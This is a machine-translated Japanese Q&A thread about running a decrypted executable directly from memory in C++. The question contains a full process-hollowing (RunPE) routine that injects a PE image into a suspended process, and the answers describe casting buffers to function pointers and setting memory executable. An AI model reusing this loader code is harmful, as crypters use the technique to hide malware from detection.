2012-04-30 9 views
1

私は暗号化されたプログラムを持っているとしましょう。私はdecrypterでそのプログラムを開き、バイトを配列に読み込んで解読します。C++でバイト配列を実行するには

私が知りたいのは、別の実行可能ファイルを作成せずにこれらのバイトを実行する方法です。

私は、「フォーク」を使用することが可能であることを読んでいます。それがそうする最良の方法です。しかし、私は正常に自分のコードを実行することはできませんし、エラーを返しません。ここで私が得たもののサンプルです:

//<main> 
    char* lpMemory; 
    lpMemory = (char*)malloc (fileSize); 
    memset(lpMemory,0,fileSize); 
    memcpy (lpMemory, fileBuf, fileSize); 
    RunFromMemory(lpMemory, /* What here? */); 

    //</main> 

void RunFromMemory(char* pImage,char* pPath) 
{ 
DWORD dwWritten = 0; 
DWORD dwHeader = 0; 
DWORD dwImageSize = 0; 
DWORD dwSectionCount = 0; 
DWORD dwSectionSize = 0; 
DWORD firstSection = 0; 
DWORD previousProtection = 0; 
DWORD jmpSize = 0; 

IMAGE_NT_HEADERS INH; 
IMAGE_DOS_HEADER IDH; 
IMAGE_SECTION_HEADER Sections[1000]; 

PROCESS_INFORMATION peProcessInformation; 
STARTUPINFO peStartUpInformation; 
CONTEXT pContext; 

char* pMemory; 
char* pFile; 
memcpy(&IDH,pImage,sizeof(IDH)); 
memcpy(&INH,(void*)((DWORD)pImage+IDH.e_lfanew),sizeof(INH)); 

dwImageSize = INH.OptionalHeader.SizeOfImage; 
pMemory = (char*)malloc(dwImageSize); 
memset(pMemory,0,dwImageSize); 
pFile = pMemory; 

dwHeader = INH.OptionalHeader.SizeOfHeaders; 
firstSection = (DWORD)(((DWORD)pImage+IDH.e_lfanew) + sizeof(IMAGE_NT_HEADERS)); 
memcpy(Sections,(char*)(firstSection),sizeof(IMAGE_SECTION_HEADER)*INH.FileHeader.NumberOfSections); 

memcpy(pFile,pImage,dwHeader); 

if((INH.OptionalHeader.SizeOfHeaders % INH.OptionalHeader.SectionAlignment)==0) 
{ 
    jmpSize = INH.OptionalHeader.SizeOfHeaders; 
} 
else 
{ 
    jmpSize = INH.OptionalHeader.SizeOfHeaders/INH.OptionalHeader.SectionAlignment; 
    jmpSize += 1; 
    jmpSize *= INH.OptionalHeader.SectionAlignment; 
} 

pFile = (char*)((DWORD)pFile + jmpSize); 

for(dwSectionCount = 0; dwSectionCount < INH.FileHeader.NumberOfSections; dwSectionCount++) 
{ 
    jmpSize = 0; 
    dwSectionSize = Sections[dwSectionCount].SizeOfRawData; 
    memcpy(pFile,(char*)(pImage + Sections[dwSectionCount].PointerToRawData),dwSectionSize); 

    if((Sections[dwSectionCount].Misc.VirtualSize % INH.OptionalHeader.SectionAlignment)==0) 
    { 
     jmpSize = Sections[dwSectionCount].Misc.VirtualSize; 
    } 
    else 
    { 
     jmpSize = Sections[dwSectionCount].Misc.VirtualSize/INH.OptionalHeader.SectionAlignment; 
     jmpSize += 1; 
     jmpSize *= INH.OptionalHeader.SectionAlignment; 
    } 
    pFile = (char*)((DWORD)pFile + jmpSize); 
} 


memset(&peStartUpInformation,0,sizeof(STARTUPINFO)); 
memset(&peProcessInformation,0,sizeof(PROCESS_INFORMATION)); 
memset(&pContext,0,sizeof(CONTEXT)); 

peStartUpInformation.cb = sizeof(peStartUpInformation); 
if(CreateProcess(NULL, pPath, NULL /*&secAttrib*/, NULL,false,CREATE_SUSPENDED, NULL,NULL,&peStartUpInformation,&peProcessInformation)) 
{ 
    pContext.ContextFlags = CONTEXT_FULL; 
    GetThreadContext(peProcessInformation.hThread,&pContext); 
    VirtualProtectEx(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),dwImageSize,PAGE_EXECUTE_READWRITE,&previousProtection); 
    WriteProcessMemory(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),pMemory,dwImageSize,&dwWritten); 
    WriteProcessMemory(peProcessInformation.hProcess,(void*)((DWORD)pContext.Ebx + 8),&INH.OptionalHeader.ImageBase,4,&dwWritten); 
    pContext.Eax = INH.OptionalHeader.ImageBase + INH.OptionalHeader.AddressOfEntryPoint; 
    SetThreadContext(peProcessInformation.hThread,&pContext); 
    VirtualProtectEx(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),dwImageSize,previousProtection,0); 
    ResumeThread(peProcessInformation.hThread); 
} 
free(pMemory); 
} 

ご想像のとおり、「ファイルサイズ」プログラムのサイズと「たfilebufは、」バイト配列です。私はこれらの値がどちらも正しいと確信しています。

私に役立つリソースへのリンクがありがとうございます ありがとうございました。

+0

配列ポインターをvoidポインターにキャストしてから関数ポインターにキャストし、関数ポインターを呼び出しますか?私はそれが未定義の振る舞いであることはほとんど確信しており、ほとんどのコンピュータではうまくいくと確信しています:) – dasblinkenlight

+0

また、何らかの理由で実行禁止ビット機能を回避する必要があります。 http://en.wikipedia.org/wiki/NX_bit。 – Matt

+2

あなたはウイルスではありません**ですか? – dasblinkenlight

答えて

1

実際に配列のバイトが何であるかによって、配列ポインタを関数ポインタに型キャストし、他のものと同じように "関数"を呼び出すことができます。これが機能するには、配列は実行可能メモリ(VirtualProtect()参照)に存在しなければならず、アセンブリ命令のバイト表現だけを含んでいなければなりません。

+0

問題は、ファイルの内容全体をコピーしたことです。コードだけを実行する方法を知っていますか? –

+0

あなたの助けをありがとう! –

1

はい可能: バイト配列のポインタを関数ポインタにキャストして呼び出した後で、最も簡単な方法です。 2番目の方法は、インラインアセンブラを使用し、バイト配列のアドレスにjmpを実行することです。たぶんあなたの配列が割り当てられているヒープやスタックは実行できませんし、VirtualProtectとそれに関連するAPI(Win32用)を使う必要があります。

関連する問題